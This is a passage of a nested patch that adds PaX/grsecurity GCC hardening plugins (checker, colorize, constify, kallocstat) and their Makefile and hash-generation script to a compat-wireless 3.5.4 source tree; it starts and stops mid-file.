++#include "tree.h"
++#include "tm.h"
++#include "rtl.h"
++#ifdef ENABLE_BUILD_WITH_CXX
++#warning $2
++#else
++#warning $1
++#endif
++EOF`
++if [ $? -eq 0 ]
++then
++	[[ "$plugincc" =~ "$1" ]] && echo "$1"
++	[[ "$plugincc" =~ "$2" ]] && echo "$2"
++fi
+diff -rupN compat-wireless-3.5.4-1-snpc/tools/gcc/.gitignore compat-wireless-3.5.4-1-snpc/tools/gcc/.gitignore
+--- compat-wireless-3.5.4-1-snpc/tools/gcc/.gitignore	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/tools/gcc/.gitignore	2012-10-15 19:11:12.862824568 +0000
+@@ -0,0 +1 @@
++size_overflow_hash.h
+diff -rupN compat-wireless-3.5.4-1-snpc/tools/gcc/Makefile compat-wireless-3.5.4-1-snpc/tools/gcc/Makefile
+--- compat-wireless-3.5.4-1-snpc/tools/gcc/Makefile	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/tools/gcc/Makefile	2012-10-15 19:11:12.862824568 +0000
+@@ -0,0 +1,43 @@
++#CC := gcc
++#PLUGIN_SOURCE_FILES := pax_plugin.c
++#PLUGIN_OBJECT_FILES := $(patsubst %.c,%.o,$(PLUGIN_SOURCE_FILES))
++GCCPLUGINS_DIR := $(shell $(CC) -print-file-name=plugin)
++#CFLAGS += -I$(GCCPLUGINS_DIR)/include -fPIC -O2 -Wall -W -std=gnu99
++
++ifeq ($(PLUGINCC),$(HOSTCC))
++HOSTLIBS := hostlibs
++HOST_EXTRACFLAGS += -I$(GCCPLUGINS_DIR)/include -I$(GCCPLUGINS_DIR)/include/c-family -std=gnu99 -ggdb
++else
++HOSTLIBS := hostcxxlibs
++HOST_EXTRACXXFLAGS += -I$(GCCPLUGINS_DIR)/include -I$(GCCPLUGINS_DIR)/include/c-family -std=gnu++98 -ggdb -Wno-unused-parameter
++endif
++
++$(HOSTLIBS)-$(CONFIG_PAX_CONSTIFY_PLUGIN) := constify_plugin.so
++$(HOSTLIBS)-$(CONFIG_PAX_MEMORY_STACKLEAK) += stackleak_plugin.so
++$(HOSTLIBS)-$(CONFIG_KALLOCSTAT_PLUGIN) += kallocstat_plugin.so
++$(HOSTLIBS)-$(CONFIG_PAX_KERNEXEC_PLUGIN) += kernexec_plugin.so
++$(HOSTLIBS)-$(CONFIG_CHECKER_PLUGIN) += checker_plugin.so
++$(HOSTLIBS)-y += colorize_plugin.so
++$(HOSTLIBS)-$(CONFIG_PAX_SIZE_OVERFLOW) += size_overflow_plugin.so
++$(HOSTLIBS)-$(CONFIG_PAX_LATENT_ENTROPY) += latent_entropy_plugin.so
++
++always := $($(HOSTLIBS)-y)
++
++constify_plugin-objs := constify_plugin.o
++stackleak_plugin-objs := stackleak_plugin.o
++kallocstat_plugin-objs := kallocstat_plugin.o
++kernexec_plugin-objs := kernexec_plugin.o
++checker_plugin-objs := checker_plugin.o
++colorize_plugin-objs := colorize_plugin.o
++size_overflow_plugin-objs := size_overflow_plugin.o
++latent_entropy_plugin-objs := latent_entropy_plugin.o
++
++$(obj)/size_overflow_plugin.o: $(objtree)/$(obj)/size_overflow_hash.h
++
++quiet_cmd_build_size_overflow_hash = GENHASH  $@
++      cmd_build_size_overflow_hash = \
++	$(CONFIG_SHELL) $(srctree)/$(src)/generate_size_overflow_hash.sh -d $< -o $@
++$(objtree)/$(obj)/size_overflow_hash.h: $(src)/size_overflow_hash.data FORCE
++	$(call if_changed,build_size_overflow_hash)
++
++targets += size_overflow_hash.h
+diff -rupN compat-wireless-3.5.4-1-snpc/tools/gcc/checker_plugin.c compat-wireless-3.5.4-1-snpc/tools/gcc/checker_plugin.c
+--- compat-wireless-3.5.4-1-snpc/tools/gcc/checker_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/tools/gcc/checker_plugin.c	2012-10-15 19:11:12.863824568 +0000
+@@ -0,0 +1,171 @@
++/*
++ * Copyright 2011 by the PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to implement various sparse (source code checker) features
++ *
++ * TODO:
++ * - define separate __iomem, __percpu and __rcu address spaces (lots of code to patch)
++ *
++ * BUGS:
++ * - none known
++ */
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++//#include "expr.h" where are you...
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++#include "tree-flow.h"
++#include "target.h"
++
++extern void c_register_addr_space (const char *str, addr_space_t as);
++extern enum machine_mode default_addr_space_pointer_mode (addr_space_t);
++extern enum machine_mode default_addr_space_address_mode (addr_space_t);
++extern bool default_addr_space_valid_pointer_mode(enum machine_mode mode, addr_space_t as);
++extern bool default_addr_space_legitimate_address_p(enum machine_mode mode, rtx mem, bool strict, addr_space_t as);
++extern rtx default_addr_space_legitimize_address(rtx x, rtx oldx, enum machine_mode mode, addr_space_t as);
++
++extern void print_gimple_stmt(FILE *, gimple, int, int);
++extern rtx emit_move_insn(rtx x, rtx y);
++
++int plugin_is_GPL_compatible;
++
++static struct plugin_info checker_plugin_info = {
++	.version	= "201111150100",
++};
++
++#define ADDR_SPACE_KERNEL		0
++#define ADDR_SPACE_FORCE_KERNEL		1
++#define ADDR_SPACE_USER			2
++#define ADDR_SPACE_FORCE_USER		3
++#define ADDR_SPACE_IOMEM		0
++#define ADDR_SPACE_FORCE_IOMEM		0
++#define ADDR_SPACE_PERCPU		0
++#define ADDR_SPACE_FORCE_PERCPU		0
++#define ADDR_SPACE_RCU			0
++#define ADDR_SPACE_FORCE_RCU		0
++
++static enum machine_mode checker_addr_space_pointer_mode(addr_space_t addrspace)
++{
++	return default_addr_space_pointer_mode(ADDR_SPACE_GENERIC);
++}
++
++static enum machine_mode checker_addr_space_address_mode(addr_space_t addrspace)
++{
++	return default_addr_space_address_mode(ADDR_SPACE_GENERIC);
++}
++
++static bool checker_addr_space_valid_pointer_mode(enum machine_mode mode, addr_space_t as)
++{
++	return default_addr_space_valid_pointer_mode(mode, as);
++}
++
++static bool checker_addr_space_legitimate_address_p(enum machine_mode mode, rtx mem, bool strict, addr_space_t as)
++{
++	return default_addr_space_legitimate_address_p(mode, mem, strict, ADDR_SPACE_GENERIC);
++}
++
++static rtx checker_addr_space_legitimize_address(rtx x, rtx oldx, enum machine_mode mode, addr_space_t as)
++{
++	return default_addr_space_legitimize_address(x, oldx, mode, as);
++}
++
++static bool checker_addr_space_subset_p(addr_space_t subset, addr_space_t superset)
++{
++	if (subset == ADDR_SPACE_FORCE_KERNEL && superset == ADDR_SPACE_KERNEL)
++		return true;
++
++	if (subset == ADDR_SPACE_FORCE_USER && superset == ADDR_SPACE_USER)
++		return true;
++
++	if (subset == ADDR_SPACE_FORCE_IOMEM && superset == ADDR_SPACE_IOMEM)
++		return true;
++
++	if (subset == ADDR_SPACE_KERNEL && superset == ADDR_SPACE_FORCE_USER)
++		return true;
++
++	if (subset == ADDR_SPACE_KERNEL && superset == ADDR_SPACE_FORCE_IOMEM)
++		return true;
++
++	if (subset == ADDR_SPACE_USER && superset == ADDR_SPACE_FORCE_KERNEL)
++		return true;
++
++	if (subset == ADDR_SPACE_IOMEM && superset == ADDR_SPACE_FORCE_KERNEL)
++		return true;
++
++	return subset == superset;
++}
++
++static rtx checker_addr_space_convert(rtx op, tree from_type, tree to_type)
++{
++//	addr_space_t from_as = TYPE_ADDR_SPACE(TREE_TYPE(from_type));
++//	addr_space_t to_as = TYPE_ADDR_SPACE(TREE_TYPE(to_type));
++
++	return op;
++}
++
++static void register_checker_address_spaces(void *event_data, void *data)
++{
++	c_register_addr_space("__kernel", ADDR_SPACE_KERNEL);
++	c_register_addr_space("__force_kernel", ADDR_SPACE_FORCE_KERNEL);
++	c_register_addr_space("__user", ADDR_SPACE_USER);
++	c_register_addr_space("__force_user", ADDR_SPACE_FORCE_USER);
++//	c_register_addr_space("__iomem", ADDR_SPACE_IOMEM);
++//	c_register_addr_space("__force_iomem", ADDR_SPACE_FORCE_IOMEM);
++//	c_register_addr_space("__percpu", ADDR_SPACE_PERCPU);
++//	c_register_addr_space("__force_percpu", ADDR_SPACE_FORCE_PERCPU);
++//	c_register_addr_space("__rcu", ADDR_SPACE_RCU);
++//	c_register_addr_space("__force_rcu", ADDR_SPACE_FORCE_RCU);
++
++	targetm.addr_space.pointer_mode		= checker_addr_space_pointer_mode;
++	targetm.addr_space.address_mode		= checker_addr_space_address_mode;
++	targetm.addr_space.valid_pointer_mode	= checker_addr_space_valid_pointer_mode;
++	targetm.addr_space.legitimate_address_p	= checker_addr_space_legitimate_address_p;
++//	targetm.addr_space.legitimize_address	= checker_addr_space_legitimize_address;
++	targetm.addr_space.subset_p		= checker_addr_space_subset_p;
++	targetm.addr_space.convert		= checker_addr_space_convert;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	const int argc = plugin_info->argc;
++	const struct plugin_argument * const argv = plugin_info->argv;
++	int i;
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &checker_plugin_info);
++
++	for (i = 0; i < argc; ++i)
++		error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++
++	if (TARGET_64BIT == 0)
++		return 0;
++
++	register_callback(plugin_name, PLUGIN_PRAGMAS, register_checker_address_spaces, NULL);
++
++	return 0;
++}
+diff -rupN compat-wireless-3.5.4-1-snpc/tools/gcc/colorize_plugin.c compat-wireless-3.5.4-1-snpc/tools/gcc/colorize_plugin.c
+--- compat-wireless-3.5.4-1-snpc/tools/gcc/colorize_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/tools/gcc/colorize_plugin.c	2012-10-15 19:11:12.863824568 +0000
+@@ -0,0 +1,148 @@
++/*
++ * Copyright 2012 by PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to colorize diagnostic output
++ *
++ */
++
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++
++int plugin_is_GPL_compatible;
++
++static struct plugin_info colorize_plugin_info = {
++	.version	= "201203092200",
++	.help		= NULL,
++};
++
++#define GREEN		"\033[32m\033[2m"
++#define LIGHTGREEN	"\033[32m\033[1m"
++#define YELLOW		"\033[33m\033[2m"
++#define LIGHTYELLOW	"\033[33m\033[1m"
++#define RED		"\033[31m\033[2m"
++#define LIGHTRED	"\033[31m\033[1m"
++#define BLUE		"\033[34m\033[2m"
++#define LIGHTBLUE	"\033[34m\033[1m"
++#define BRIGHT		"\033[m\033[1m"
++#define NORMAL		"\033[m"
++
++static diagnostic_starter_fn old_starter;
++static diagnostic_finalizer_fn old_finalizer;
++
++static void start_colorize(diagnostic_context *context, diagnostic_info *diagnostic)
++{
++	const char *color;
++	char *newprefix;
++
++	switch (diagnostic->kind) {
++	case DK_NOTE:
++		color = LIGHTBLUE;
++		break;
++
++	case DK_PEDWARN:
++	case DK_WARNING:
++		color = LIGHTYELLOW;
++		break;
++
++	case DK_ERROR:
++	case DK_FATAL:
++	case DK_ICE:
++	case DK_PERMERROR:
++	case DK_SORRY:
++		color = LIGHTRED;
++		break;
++
++	default:
++		color = NORMAL;
++	}
++
++	old_starter(context, diagnostic);
++	if (-1 == asprintf(&newprefix, "%s%s" NORMAL, color, context->printer->prefix))
++		return;
++	pp_destroy_prefix(context->printer);
++	pp_set_prefix(context->printer, newprefix);
++}
++
++static void finalize_colorize(diagnostic_context *context, diagnostic_info *diagnostic)
++{
++	old_finalizer(context, diagnostic);
++}
++
++static void colorize_arm(void)
++{
++	old_starter = diagnostic_starter(global_dc);
++	old_finalizer = diagnostic_finalizer(global_dc);
++
++	diagnostic_starter(global_dc) = start_colorize;
++	diagnostic_finalizer(global_dc) = finalize_colorize;
++}
++
++static unsigned int execute_colorize_rearm(void)
++{
++	if (diagnostic_starter(global_dc) == start_colorize)
++		return 0;
++
++	colorize_arm();
++	return 0;
++}
++
++struct simple_ipa_opt_pass pass_ipa_colorize_rearm = {
++	.pass = {
++		.type			= SIMPLE_IPA_PASS,
++		.name			= "colorize_rearm",
++		.gate			= NULL,
++		.execute		= execute_colorize_rearm,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= 0
++	}
++};
++
++static void colorize_start_unit(void *gcc_data, void *user_data)
++{
++	colorize_arm();
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	struct register_pass_info colorize_rearm_pass_info = {
++		.pass				= &pass_ipa_colorize_rearm.pass,
++		.reference_pass_name		= "*free_lang_data",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_AFTER
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &colorize_plugin_info);
++	register_callback(plugin_name, PLUGIN_START_UNIT, &colorize_start_unit, NULL);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &colorize_rearm_pass_info);
++	return 0;
++}
+diff -rupN compat-wireless-3.5.4-1-snpc/tools/gcc/constify_plugin.c compat-wireless-3.5.4-1-snpc/tools/gcc/constify_plugin.c
+--- compat-wireless-3.5.4-1-snpc/tools/gcc/constify_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/tools/gcc/constify_plugin.c	2012-10-15 19:11:12.864824568 +0000
+@@ -0,0 +1,331 @@
++/*
++ * Copyright 2011 by Emese Revfy <re.emese@gmail.com>
++ * Copyright 2011 by PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2, or (at your option) v3
++ *
++ * This gcc plugin constifies all structures which contain only function pointers or are explicitly marked for constification.
++ *
++ * Homepage:
++ * http://www.grsecurity.net/~ephox/const_plugin/
++ *
++ * Usage:
++ * $ gcc -I`gcc -print-file-name=plugin`/include -fPIC -shared -O2 -o constify_plugin.so constify_plugin.c
++ * $ gcc -fplugin=constify_plugin.so test.c -O2
++ */
++
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++#include "tree-flow.h"
++
++#define C_TYPE_FIELDS_READONLY(TYPE) TREE_LANG_FLAG_1(TYPE)
++
++int plugin_is_GPL_compatible;
++
++static struct plugin_info const_plugin_info = {
++	.version	= "201205300030",
++	.help		= "no-constify\tturn off constification\n",
++};
++
++static void deconstify_tree(tree node);
++
++static void deconstify_type(tree type)
++{
++	tree field;
++
++	for (field = TYPE_FIELDS(type); field; field = TREE_CHAIN(field)) {
++		tree type = TREE_TYPE(field);
++
++		if (TREE_CODE(type) != RECORD_TYPE && TREE_CODE(type) != UNION_TYPE)
++			continue;
++		if (!TYPE_READONLY(type))
++			continue;
++
++		deconstify_tree(field);
++	}
++	TYPE_READONLY(type) = 0;
++	C_TYPE_FIELDS_READONLY(type) = 0;
++}
++
++static void deconstify_tree(tree node)
++{
++	tree old_type, new_type, field;
++
++	old_type = TREE_TYPE(node);
++
++	gcc_assert(TYPE_READONLY(old_type) && (TYPE_QUALS(old_type) & TYPE_QUAL_CONST));
++
++	new_type = build_qualified_type(old_type, TYPE_QUALS(old_type) & ~TYPE_QUAL_CONST);
++	TYPE_FIELDS(new_type) = copy_list(TYPE_FIELDS(new_type));
++	for (field = TYPE_FIELDS(new_type); field; field = TREE_CHAIN(field))
++		DECL_FIELD_CONTEXT(field) = new_type;
++
++	deconstify_type(new_type);
++
++	TREE_READONLY(node) = 0;
++	TREE_TYPE(node) = new_type;
++}
++
++static tree handle_no_const_attribute(tree *node, tree name, tree args, int flags, bool *no_add_attrs)
++{
++	tree type;
++
++	*no_add_attrs = true;
++	if (TREE_CODE(*node) == FUNCTION_DECL) {
++		error("%qE attribute does not apply to functions", name);
++		return NULL_TREE;
++	}
++
++	if (TREE_CODE(*node) == VAR_DECL) {
++		error("%qE attribute does not apply to variables", name);
++		return NULL_TREE;
++	}
++
++	if (TYPE_P(*node)) {
++		if (TREE_CODE(*node) == RECORD_TYPE || TREE_CODE(*node) == UNION_TYPE)
++			*no_add_attrs = false;
++		else
++			error("%qE attribute applies to struct and union types only", name);
++		return NULL_TREE;
++	}
++
++	type = TREE_TYPE(*node);
++
++	if (TREE_CODE(type) != RECORD_TYPE && TREE_CODE(type) != UNION_TYPE) {
++		error("%qE attribute applies to struct and union types only", name);
++		return NULL_TREE;
++	}
++
++	if (lookup_attribute(IDENTIFIER_POINTER(name), TYPE_ATTRIBUTES(type))) {
++		error("%qE attribute is already applied to the type", name);
++		return NULL_TREE;
++	}
++
++	if (TREE_CODE(*node) == TYPE_DECL && !TYPE_READONLY(type)) {
++		error("%qE attribute used on type that is not constified", name);
++		return NULL_TREE;
++	}
++
++	if (TREE_CODE(*node) == TYPE_DECL) {
++		deconstify_tree(*node);
++		return NULL_TREE;
++	}
++
++	return NULL_TREE;
++}
++
++static void constify_type(tree type)
++{
++	TYPE_READONLY(type) = 1;
++	C_TYPE_FIELDS_READONLY(type) = 1;
++}
++
++static tree handle_do_const_attribute(tree *node, tree name, tree args, int flags, bool *no_add_attrs)
++{
++	*no_add_attrs = true;
++	if (!TYPE_P(*node)) {
++		error("%qE attribute applies to types only", name);
++		return NULL_TREE;
++	}
++
++	if (TREE_CODE(*node) != RECORD_TYPE && TREE_CODE(*node) != UNION_TYPE) {
++		error("%qE attribute applies to struct and union types only", name);
++		return NULL_TREE;
++	}
++
++	*no_add_attrs = false;
++	constify_type(*node);
++	return NULL_TREE;
++}
++
++static struct attribute_spec no_const_attr = {
++	.name			= "no_const",
++	.min_length		= 0,
++	.max_length		= 0,
++	.decl_required		= false,
++	.type_required		= false,
++	.function_type_required	= false,
++	.handler		= handle_no_const_attribute,
++#if BUILDING_GCC_VERSION >= 4007
++	.affects_type_identity	= true
++#endif
++};
++
++static struct attribute_spec do_const_attr = {
++	.name			= "do_const",
++	.min_length		= 0,
++	.max_length		= 0,
++	.decl_required		= false,
++	.type_required		= false,
++	.function_type_required	= false,
++	.handler		= handle_do_const_attribute,
++#if BUILDING_GCC_VERSION >= 4007
++	.affects_type_identity	= true
++#endif
++};
++
++static void register_attributes(void *event_data, void *data)
++{
++	register_attribute(&no_const_attr);
++	register_attribute(&do_const_attr);
++}
++
++static bool is_fptr(tree field)
++{
++	tree ptr = TREE_TYPE(field);
++
++	if (TREE_CODE(ptr) != POINTER_TYPE)
++		return false;
++
++	return TREE_CODE(TREE_TYPE(ptr)) == FUNCTION_TYPE;
++}
++
++static bool walk_struct(tree node)
++{
++	tree field;
++
++	if (TYPE_FIELDS(node) == NULL_TREE)
++		return false;
++
++	if (lookup_attribute("no_const", TYPE_ATTRIBUTES(node))) {
++		gcc_assert(!TYPE_READONLY(node));
++		deconstify_type(node);
++		return false;
++	}
++
++	for (field = TYPE_FIELDS(node); field; field = TREE_CHAIN(field)) {
++		tree type = TREE_TYPE(field);
++		enum tree_code code = TREE_CODE(type);
++
++		if (node == type)
++			return false;
++		if (code == RECORD_TYPE || code == UNION_TYPE) {
++			if (!(walk_struct(type)))
++				return false;
++		} else if (!is_fptr(field) && !TREE_READONLY(field))
++			return false;
++	}
++	return true;
++}
++
++static void finish_type(void *event_data, void *data)
++{
++	tree type = (tree)event_data;
++
++	if (type == NULL_TREE || type == error_mark_node)
++		return;
++
++	if (TYPE_READONLY(type))
++		return;
++
++	if (walk_struct(type))
++		constify_type(type);
++}
++
++static unsigned int check_local_variables(void);
++
++struct gimple_opt_pass pass_local_variable = {
++	{
++		.type			= GIMPLE_PASS,
++		.name			= "check_local_variables",
++		.gate			= NULL,
++		.execute		= check_local_variables,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= 0
++	}
++};
++
++static unsigned int check_local_variables(void)
++{
++	tree var;
++	referenced_var_iterator rvi;
++
++#if BUILDING_GCC_VERSION == 4005
++	FOR_EACH_REFERENCED_VAR(var, rvi) {
++#else
++	FOR_EACH_REFERENCED_VAR(cfun, var, rvi) {
++#endif
++		tree type = TREE_TYPE(var);
++
++		if (!DECL_P(var) || TREE_STATIC(var) || DECL_EXTERNAL(var))
++			continue;
++
++		if (TREE_CODE(type) != RECORD_TYPE && TREE_CODE(type) != UNION_TYPE)
++			continue;
++
++		if (!TYPE_READONLY(type))
++			continue;
++
++//		if (lookup_attribute("no_const", DECL_ATTRIBUTES(var)))
++//			continue;
++
++//		if (lookup_attribute("no_const", TYPE_ATTRIBUTES(type)))
++//			continue;
++
++		if (walk_struct(type)) {
++			error_at(DECL_SOURCE_LOCATION(var), "constified variable %qE cannot be local", var);
++			return 1;
++		}
++	}
++	return 0;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	const int argc = plugin_info->argc;
++	const struct plugin_argument * const argv = plugin_info->argv;
++	int i;
++	bool constify = true;
++
++	struct register_pass_info local_variable_pass_info = {
++		.pass				= &pass_local_variable.pass,
++		.reference_pass_name		= "*referenced_vars",
++		.ref_pass_instance_number	= 1,
++		.pos_op				= PASS_POS_INSERT_AFTER
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	for (i = 0; i < argc; ++i) {
++		if (!(strcmp(argv[i].key, "no-constify"))) {
++			constify = false;
++			continue;
++		}
++		error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &const_plugin_info);
++	if (constify) {
++		register_callback(plugin_name, PLUGIN_FINISH_TYPE, finish_type, NULL);
++		register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &local_variable_pass_info);
++	}
++	register_callback(plugin_name, PLUGIN_ATTRIBUTES, register_attributes, NULL);
++
++	return 0;
++}
+diff -rupN compat-wireless-3.5.4-1-snpc/tools/gcc/generate_size_overflow_hash.sh compat-wireless-3.5.4-1-snpc/tools/gcc/generate_size_overflow_hash.sh
+--- compat-wireless-3.5.4-1-snpc/tools/gcc/generate_size_overflow_hash.sh	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/tools/gcc/generate_size_overflow_hash.sh	2012-10-15 19:11:12.864824568 +0000
+@@ -0,0 +1,94 @@
++#!/bin/bash
++
++# This script generates the hash table (size_overflow_hash.h) for the size_overflow gcc plugin (size_overflow_plugin.c).
++
++header1="size_overflow_hash.h"
++database="size_overflow_hash.data"
++n=65536
++
++usage() {
++cat <<EOF
++usage: $0 options
++OPTIONS:
++        -h|--help               help
++	-o			header file
++	-d			database file
++	-n			hash array size
++EOF
++    return 0
++}
++
++while true
++do
++    case "$1" in
++    -h|--help)	usage && exit 0;;
++    -n)		n=$2; shift 2;;
++    -o)		header1="$2"; shift 2;;
++    -d)		database="$2"; shift 2;;
++    --)		shift 1; break ;;
++     *)		break ;;
++    esac
++done
++
++create_defines() {
++	for i in `seq 1 32`
++	do
++		echo -e "#define PARAM"$i" (1U << "$i")" >> "$header1"
++	done
++	echo >> "$header1"
++}
++
++create_structs () {
++	rm -f "$header1"
++
++	create_defines
++
++	cat "$database" | while read data
++	do
++		data_array=($data)
++		struct_hash_name="${data_array[0]}"
++		funcn="${data_array[1]}"
++		params="${data_array[2]}"
++		next="${data_array[5]}"
++
++		echo "const struct size_overflow_hash $struct_hash_name = {" >> "$header1"
++
++		echo -e "\t.next\t= $next,\n\t.name\t= \"$funcn\"," >> "$header1"
++		echo -en "\t.param\t= " >> "$header1"
++		line=
++		for param_num in ${params//-/ };
++		do
++			line="${line}PARAM"$param_num"|"
++		done
++
++		echo -e "${line%?},\n};\n" >> "$header1"
++	done
++}
++
++create_headers () {
++	echo "const struct size_overflow_hash * const size_overflow_hash[$n] = {" >> "$header1"
++}
++
++create_array_elements () {
++	index=0
++	grep -v "nohasharray" $database | sort -n -k 4 | while read data
++	do
++		data_array=($data)
++		i="${data_array[3]}"
++		hash="${data_array[4]}"
++		while [[ $index -lt $i ]]
++		do
++			echo -e "\t["$index"]\t= NULL," >> "$header1"
++			index=$(($index + 1))
++		done
++		index=$(($index + 1))
++		echo -e "\t["$i"]\t= &"$hash"," >> "$header1"
++	done
++	echo '};' >> $header1
++}
++
++create_structs
++create_headers
++create_array_elements
++
++exit 0
+diff -rupN compat-wireless-3.5.4-1-snpc/tools/gcc/kallocstat_plugin.c compat-wireless-3.5.4-1-snpc/tools/gcc/kallocstat_plugin.c
+--- compat-wireless-3.5.4-1-snpc/tools/gcc/kallocstat_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/tools/gcc/kallocstat_plugin.c	2012-10-15 19:11:12.865824568 +0000
+@@ -0,0 +1,167 @@
++/*
++ * Copyright 2011 by the PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to find the distribution of k*alloc sizes
++ *
++ * TODO:
++ *
++ * BUGS:
++ * - none known
++ */
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++//#include "expr.h" where are you...
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++
++extern void print_gimple_stmt(FILE *, gimple, int, int);
++
++int plugin_is_GPL_compatible;
++
++static const char * const kalloc_functions[] = {
++	"__kmalloc",
++	"kmalloc",
++	"kmalloc_large",
++	"kmalloc_node",
++	"kmalloc_order",
++	"kmalloc_order_trace",
++	"kmalloc_slab",
++	"kzalloc",
++	"kzalloc_node",
++};
++
++static struct plugin_info kallocstat_plugin_info = {
++	.version	= "201111150100",
++};
++
++static unsigned int execute_kallocstat(void);
++
++static struct gimple_opt_pass kallocstat_pass = {
++	.pass = {
++		.type			= GIMPLE_PASS,
++		.name			= "kallocstat",
++		.gate			= NULL,
++		.execute		= execute_kallocstat,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= 0
++	}
++};
++
++static bool is_kalloc(const char *fnname)
++{
++	size_t i;
++
++	for (i = 0; i < ARRAY_SIZE(kalloc_functions); i++)
++		if (!strcmp(fnname, kalloc_functions[i]))
++			return true;
++	return false;
++}
++
++static unsigned int execute_kallocstat(void)
++{
++	basic_block bb;
++
++	// 1. loop through BBs and GIMPLE statements
++	FOR_EACH_BB(bb) {
++		gimple_stmt_iterator gsi;
++		for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) {
++			// gimple match: 
++			tree fndecl, size;
++			gimple call_stmt;
++			const char *fnname;
++
++			// is it a call
++			call_stmt = gsi_stmt(gsi);
++			if (!is_gimple_call(call_stmt))
++				continue;
++			fndecl = gimple_call_fndecl(call_stmt);
++			if (fndecl == NULL_TREE)
++				continue;
++			if (TREE_CODE(fndecl) != FUNCTION_DECL)
++				continue;
++
++			// is it a call to k*alloc
++			fnname = IDENTIFIER_POINTER(DECL_NAME(fndecl));
++			if (!is_kalloc(fnname))
++				continue;
++
++			// is the size arg the result of a simple const assignment
++			size = gimple_call_arg(call_stmt, 0);
++			while (true) {
++				gimple def_stmt;
++				expanded_location xloc;
++				size_t size_val;
++
++				if (TREE_CODE(size) != SSA_NAME)
++					break;
++				def_stmt = SSA_NAME_DEF_STMT(size);
